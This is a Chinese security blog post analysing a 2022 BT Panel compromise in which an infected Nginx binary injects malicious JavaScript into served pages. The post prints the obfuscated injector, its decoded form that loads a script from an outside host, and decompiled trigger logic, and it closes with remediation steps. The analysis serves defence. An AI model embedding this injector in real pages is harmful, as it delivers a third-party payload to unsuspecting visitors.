Eswlnk Blog Eswlnk Blog
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈
  • 注册
  • 登录
首页 › 攻防对抗 › 「高危漏洞」宝塔面板 Nginx 挂马事件剖析以及相关的补救措施

「高危漏洞」宝塔面板 Nginx 挂马事件剖析以及相关的补救措施

Eswlnk的头像
Eswlnk
2022-12-09 16:29:59
「高危漏洞」宝塔面板 Nginx 挂马事件剖析以及相关的补救措施-Eswlnk Blog
智能摘要 AI
截至2022年12月9日,宝塔面板曝出严重漏洞,导致部分服务器Nginx配置文件被篡改,自动注入恶意JS代码,仅针对国内用户生效。该漏洞通过检测HTTP请求头中的`Accept`字段是否包含`Gzip`来触发,注入的脚本会加载外部JS文件并执行恶意操作。分析显示,恶意代码主要检查路径中是否包含特定关键词(如`admin`, `user`, `api`等),若不符合则注入恶意脚本。 官方尚未回应此事,建议用户自查`/var/tmp/`和`/tmp`目录,删除可疑文件`systemd-private-56d86f7d8382402517f3b5-jP37av`,并修改相关目录权限。此外,可采取关闭面板、启用BasicAuth认证、修改默认端口及添加授权IP访问等措施

截止2022年12月9日,宝塔官方仍然为出面回应此事,并且这件事情仍在进一步发酵。本篇文章内容较多,如果想知道来龙去脉以及补救措施,请各位接着往下看。

事件经过

最近宝塔面板应该是出现了比较严重的漏洞,被攻击的服务器,Nginx会自动检测header中accept字段是否包含Gzip,如果包含则会想目标页面中,加入一段JS引用,以下两张图来自《全球主机交流论坛》中的一篇帖子

「高危漏洞」宝塔面板 Nginx 挂马事件剖析以及相关的补救措施-Eswlnk Blog
「高危漏洞」宝塔面板 Nginx 挂马事件剖析以及相关的补救措施-Eswlnk Blog
包含Gzip

深度剖析

JavaScript代码解析

插入的这段JS,可以通过解码获得,原文为以下内容:

var _0xd4d9=["\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x73\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x77\x61\x66\x5F\x73\x63","\x35\x38\x38\x39\x36\x34\x37\x37\x32\x36","\x25\x33\x43\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x2E\x6D\x73\x73\x74\x61\x74\x69\x63\x2E\x6E\x65\x74\x2F\x6D\x61\x69\x6E\x33\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x61\x73\x73\x65\x74\x73\x2F\x74\x65\x6D\x70\x6C\x61\x74\x65\x2F\x68\x65\x61\x64\x2F\x61\x64\x2E\x74\x6D\x70\x6C\x5F\x61\x39\x62\x37\x2E\x6A\x73\x27\x25\x33\x45\x25\x33\x43\x2F\x73\x63\x72\x69\x70\x74\x25\x33\x45","\x77\x72\x69\x74\x65"];function setc(_0x64d8x2,_0x64d8x3,_0x64d8x4){var _0x64d8x5= new Date();_0x64d8x5[_0xd4d9[1]](_0x64d8x5[_0xd4d9[0]]()+ _0x64d8x4);
document[_0xd4d9[2]]= _0x64d8x2+ _0xd4d9[3]+ _0x64d8x3+ _0xd4d9[4]+ _0x64d8x5[_0xd4d9[5]]()}setc(_0xd4d9[6],_0xd4d9[7],360);document[_0xd4d9[9]](unescape(_0xd4d9[8]));

这段代码中声明了一个长度为 10 的数组,并且包含了关键字符 「Write」与 「"%3Cscript src='https://a.msstatic.net/main3/common/assets/template/head/ad.tmpl_a9b7.js'%3E%3C/script%3E"」,通过对它解密后,我们可以得到以下内容:

var _0xd4d9 = ["getMinutes", "setMinutes", "cookie", "=", ";expires=", "toUTCString", "waf_sc", "5889647726", "%3Cscript src='https://a.msstatic.net/main3/common/assets/template/head/ad.tmpl_a9b7.js'%3E%3C/script%3E", "write"];

function setc(_0x64d8x2, _0x64d8x3, _0x64d8x4) {
    var _0x64d8x5 = new Date();
    _0x64d8x5[_0xd4d9[1]](_0x64d8x5[_0xd4d9[0]]() + _0x64d8x4);
    document[_0xd4d9[2]] = _0x64d8x2 + _0xd4d9[3] + _0x64d8x3 + _0xd4d9[4] + _0x64d8x5[_0xd4d9[5]]()
}
setc(_0xd4d9[6], _0xd4d9[7], 360);
document[_0xd4d9[9]](unescape(_0xd4d9[8]));

利用document.write,向页面中插入

<script src='https://a.msstatic.net/main3/common/assets/template/head/ad.tmpl_a9b7.js'></script>

有趣的是,这段JS目前屏蔽了海外访问,我这里使用新加坡代理访问无果,国内正常访问,可见这段代码非常针对国内的用户:

「高危漏洞」宝塔面板 Nginx 挂马事件剖析以及相关的补救措施-Eswlnk Blog

Nginx感染分析

由于目前宝塔官方并没有说明目前宝塔面板是否存在0day漏洞,所以我们只能将目光瞥向Nginx,我们将这份被感染的Nginx文件拖到IDA中反编译分析一下。之前有曝光过图,不过我感觉图已经包浆了,所以我们自己进来看一下。

我们通过 「ALT + B」搜索关键字符串「systemd-private-56d86f7d8382402517f3b5-jP37xx」,这个文件就是由入侵者所释放的文件,也是上文中「JavaScript代码解析」 所分析的文件。

通过定位,我们大致是来到了这个函数 「__int64 __fastcall sub_4BE051(_QWORD *a1, const char *a2)」

if ( ngx_strcasestrn(v7, "waf_sc=5889647726", 16LL) )
    break;

这里的 “waf_sc”的内容,恰巧就对应了JavaScript中的 「_0xd4d9[6]」和 「_0xd4d9[7]」

「高危漏洞」宝塔面板 Nginx 挂马事件剖析以及相关的补救措施-Eswlnk Blog
「高危漏洞」宝塔面板 Nginx 挂马事件剖析以及相关的补救措施-Eswlnk Blog

往下查阅后,我们就能看到以下内容:

    if ( a1[99] && a1[98] )
    {
      if ( ngx_strcasestrn(a2, "admin", 4LL)
        || ngx_strcasestrn(a2, "user", 3LL)
        || ngx_strcasestrn(a2, "manager", 6LL)
        || ngx_strcasestrn(a2, "api", 2LL)
        || ngx_strcasestrn(a2, "config", 5LL)
        || ngx_strcasestrn(a2, "login", 4LL)
        || ngx_strcasestrn(a2, 7689484LL, 3LL)
        || ngx_strcasestrn(a2, ".xml", 3LL)
        || ngx_strcasestrn(a2, ".css", 3LL) )
      {
        sprintf(v11, "return 3 url:%s method:%d", a2, a1[122]);
        sub_4BDFE1(v11);
        return 3LL;
      }
      else
      {
        v9 = access("/tmp/systemd-private-56d86f7d8382402517f3b5-jP37av", 0);
        result = 6LL;
        if ( v9 != -1 )
        {
          v10 = access("/var/tmp/systemd-private-56d86f7d8382402517f3b51625789161d2cb-chronyd.service-jP37av", 0) == -1;
          result = 7LL;
          if ( !v10 )
            return 0LL;
        }
      }
    }
    else
    {
      sub_4BDFE1("return 2");
      return 2LL;
    }

从这里,我们就能很清楚的看到了, 「v9」和 「v10」这两个变量应该就对应了恶意代码,通过access方式读入文件,不过按照被感染后的代码逻辑,应该是先判断是否包含以下字符串,没有就输出恶意代码。

'admin' 'user' 'manager' 'api' 'config' 'login' '/var/tmp/msglog.txt' '.xml' '.css'

关于 「ngx_strcasestrn」函数的用法,大家在网上也能够搜得到。

这里判断,我猜测是为了能让网页的JS文件能够正常的加载,并且跳转到目标页面,毕竟像这种「api」目录,可能是以application/json 这种形式传递数据。

补救措施

官方还是没有给出相关办法,那就只有看着办了,如果使用了「Nginx」的服务器,建议自查一下 /var/tmp/ 和 /tmp 目录,看下有没有这个 systemd-private-56d86f7d8382402517f3b5-jP37av,有的话请尽快删除,并且修改相关目录的权限。不过有群友反馈,使用 「Apache」也有中招的,但是我并没有了解相关的信息。

宝塔面板的话,/www/server/nginx/sbin,这个目录设置保护,或者修改目录权限,有米的话,可安装 「堡塔企业级防篡改 – 重构版」插件。

「高危漏洞」宝塔面板 Nginx 挂马事件剖析以及相关的补救措施-Eswlnk Blog

注意,本次事件与面板是否是开xin版无关,所以各位也就不用去歧视,相反我们应该呼吁官方给出相应的解决方案。

如果对宝塔面板的安全性仍有疑问的话,可采取以下措施:

  1. 关闭宝塔面板
  2. 开启BasicAuth认证
  3. 修改面板默认端口,如7890
  4. 添加授权IP访问
  5. 动态口令认证或者访问设备验证
  6. 修改默认安全入口

反编译视频

注:很可惜,当时的视频是存放在以前的onedrive账号上,但是由于没有及时续期,导致备份文件丢失

本站默认网盘访问密码:1166
本站默认网盘访问密码:1166
声明:本站原创文章文字版权归本站所有,转载务必注明作者和出处;本站转载文章仅仅代表原作者观点,不代表本站立场,图文版权归原作者所有。如有侵权,请联系我们删除。
Nginx宝塔面板网页挂马补救措施
0
0
Eswlnk的头像
Eswlnk
一个有点倒霉的研究牲站长
赞赏
「运维干货」站长都想知道的Nginx安全配置分享
上一篇
「攻防对抗」内网渗透从零到一之SMB协议
下一篇

评论 (0)

请登录以参与评论
现在登录
    发表评论

猜你喜欢

  • 今日热点:伪Clash软件下载陷阱曝光,附防范建议
  • 「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制
  • 「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程
  • 「日志记录」从零起步揭开路由器漏洞挖掘的面纱
  • 「攻防对抗」NSmartProxy流量特征的真实表现与应用
Eswlnk的头像

Eswlnk

一个有点倒霉的研究牲站长
1108
文章
319
评论
679
获赞

随便看看

2021数字中国创新大赛虎符网络安全赛道
2023-09-06 23:20:03
浅谈VMware环境去虚拟化
2021-09-21 20:47:03
「攻防对抗」WebAssembly漏洞挖掘与虚拟机逃逸
2022-08-16 13:28:31

文章目录

专题展示

WordPress53

工程实践37

热门标签

360 AI API CDN java linux Nginx PDF PHP python SEO Windows WordPress 云服务器 云服务器知识 代码 免费 安全 安卓 工具 开发日志 微信 微软 手机 插件 攻防 攻防对抗 教程 日志 渗透分析 源码 漏洞 电脑 破解 系统 编程 网站优化 网络 网络安全 脚本 苹果 谷歌 软件 运维 逆向
  • 首页
  • 知识库
  • 地图
Copyright © 2023-2025 Eswlnk Blog. Designed by XiaoWu.
本站CDN由 壹盾安全 提供高防CDN安全防护服务
蜀ICP备20002650号-10
页面生成用时 0.415 秒   |  SQL查询 26 次
本站勉强运行:
友情链接: Eswlnk Blog 网站渗透 倦意博客 特资啦!个人资源分享站 祭夜博客 iBAAO壹宝头条
  • WordPress142
  • 网络安全64
  • 漏洞52
  • 软件52
  • 安全48
现在登录
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈